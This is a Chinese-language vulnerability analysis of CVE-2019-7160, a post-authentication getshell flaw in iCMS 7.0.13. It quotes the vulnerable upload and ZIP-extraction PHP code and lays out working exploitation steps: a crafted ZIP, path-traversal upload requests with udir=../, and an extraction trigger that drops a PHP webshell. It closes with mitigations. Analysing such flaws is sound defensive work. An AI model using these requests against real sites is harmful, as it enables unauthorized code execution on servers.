CVE-2019-7160 后台GETSHELL分析
字数 1104 2025-08-29 08:31:48
iCMS 7.0.13 CVE-2019-7160 后台GETSHELL漏洞分析与利用
漏洞概述
CVE-2019-7160是iCMS 7.0.13版本中存在的一个后台getshell漏洞,攻击者需要先获取后台管理员权限,然后通过两个功能点的组合利用实现任意文件上传和代码执行。
漏洞影响版本
- iCMS 7.0.13及之前版本
漏洞原理
该漏洞由两个关键功能点组合利用:
do_IO()函数允许上传ZIP文件到任意目录do_local_app()函数对上传的ZIP文件进行解压,且不检查解压后的文件内容
环境准备
- 操作系统:OSX/Linux/Windows
- Web服务器:Apache/Nginx
- PHP版本:PHP 7.x
- 数据库:MySQL 5.7
- iCMS版本:7.0.13
漏洞详细分析
1. 文件上传功能分析
关键函数:do_IO()
public function do_IO(){
files::$watermark_enable = $_GET['watermark'];
$udir = iSecurity::escapeStr($_GET['udir']);
$name = iSecurity::escapeStr($_GET['name']);
$ext = iSecurity::escapeStr($_GET['ext']);
iFS::check_ext($ext,0) OR iUI::json(array('state'=>'ERROR','msg'=>'不允许的文件类型'));
iFS::$ERROR_TYPE = true;
$F = iFS::IO($name,$udir,$ext);
$F ===false && iUI::json(iFS::$ERROR);
iUI::json(array(
"value" => $F["path"],
"url" => iFS::fp($F['path'],'+http'),
"fid" => $F["fid"],
"fileType" => $F["ext"],
"image" => in_array($F["ext"],files::$IMG_EXT)?1:0,
"original" => $F["oname"],
"state" => ($F['code']?'SUCCESS':$F['state'])
));
}
文件处理函数:iFS::IO()
public static function IO($FileName = '', $udir = '', $FileExt = 'jpg',$type='3',$filedata=null) {
$filedata===null && $filedata = file_get_contents('php://input');
if (empty($filedata)) {
return false;
}
$fileMd5 = md5($filedata);
$FileName OR $FileName = $fileMd5;
$FileSize = strlen($filedata);
$FileExt = self::valid_ext($FileName.$FileExt); //判断文件类型
if ($FileExt === false) {
return false;
}
list($RootPath, $FileDir) = self::mk_udir($udir,$fileMd5,$FileExt); // 文件保存目录方式
$FilePath = $FileDir . $FileName . '.' . $FileExt;
$FileRootPath = $RootPath . $FileName . '.' . $FileExt;
self::write($FileRootPath, $filedata);
$fid = self::insert_filedata(array($FileName,'',$FileDir,'',$FileExt,$FileSize), $type);
self::hook('upload',array($FileRootPath,$FileExt));
$value = array(
1,$fid,$fileMd5,$FileSize,
'',$FileName,$FileName.".".$FileExt,
$FileDir,$FileExt,
$FileRootPath,$FilePath,$RootPath
);
return self::_data($value);
}
漏洞点:
- 通过
udir和name参数可以控制文件保存路径 - 虽然对文件扩展名有检查,但允许上传ZIP文件
- 可以构造路径穿越将文件上传到任意目录
2. 文件解压功能分析
关键函数:do_local_app()
public function do_local_app(){
$zipfile = trim($_POST['zipfile']);
echo $zipfile;
if(preg_match("/^iCMS\.APP\.(\w+)\-v\d+\.\d+\.\d+\.zip$/", $zipfile,$match)){
apps_store::$zip_file = iPATH.$zipfile;
apps_store::$msg_mode = 'alert';
apps_store::install_app($match[1]);
iUI::success('应用安装完成','js:1');
}else{
iUI::alert('What the fuck!!');
}
}
解压函数:setup_zip()
public static function setup_zip() {
$zip_file = self::$zip_file;
if(!file_exists($zip_file)){
return self::msg("安装包不存在",false);
}
iPHP::vendor('PclZip');
$zip = new PclZip($zip_file);
if (false == ($archive_files = $zip->extract(PCLZIP_OPT_EXTRACT_AS_STRING))) {
iFS::rm($zip_file);
return self::msg("ZIP包错误",false);
}
if (0 == count($archive_files)) {
iFS::rm($zipfile);
return self::msg("空的ZIP文件",false);
}
return $archive_files;
}
漏洞点:
- 仅检查ZIP文件名格式,不检查内容
- 解压时不限制解压路径
- 可以解压包含PHP文件的ZIP包
漏洞利用步骤
1. 构造恶意ZIP文件
创建一个包含PHP代码的文件(如shell.php),内容为:
<?php phpinfo(); ?>
将其压缩为ZIP文件,并命名为符合正则表达式的格式,例如:
iCMS.APP.test-v1.1.1.zip
2. 上传ZIP文件
发送以下HTTP请求上传文件:
POST /icms/admincp.php?app=files&do=IO&frame=iPHP&ext=zip&udir=../&name=../iCMS.APP.test-v1.1.1&watermark=false HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
Cookie: [admin cookies]
[ZIP file binary data]
参数说明:
udir=../:使用路径穿越将文件上传到根目录name=../iCMS.APP.test-v1.1.1:控制文件名和路径ext=zip:指定文件扩展名为zip
3. 解压ZIP文件
发送以下HTTP请求触发解压:
POST /icms/admincp.php?app=apps_store&do=local_app HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
Cookie: [admin cookies]
zipfile=iCMS.APP.test-v1.1.1.zip
4. 访问Webshell
如果ZIP中包含shell.php,解压后可通过以下URL访问:
http://target.com/shell.php
防御措施
- 升级到最新版本的iCMS
- 如果无法立即升级,可采取以下临时措施:
- 限制后台访问IP
- 修改
do_IO()函数,严格限制上传路径 - 修改
do_local_app()函数,增加对解压文件内容的检查
- 加强后台管理员密码复杂度
- 定期审计系统日志
总结
CVE-2019-7160漏洞利用iCMS后台的两个功能点组合实现了getshell,需要管理员权限但危害严重。开发人员应重视文件上传和压缩包处理的权限控制和安全检查,避免类似漏洞的出现。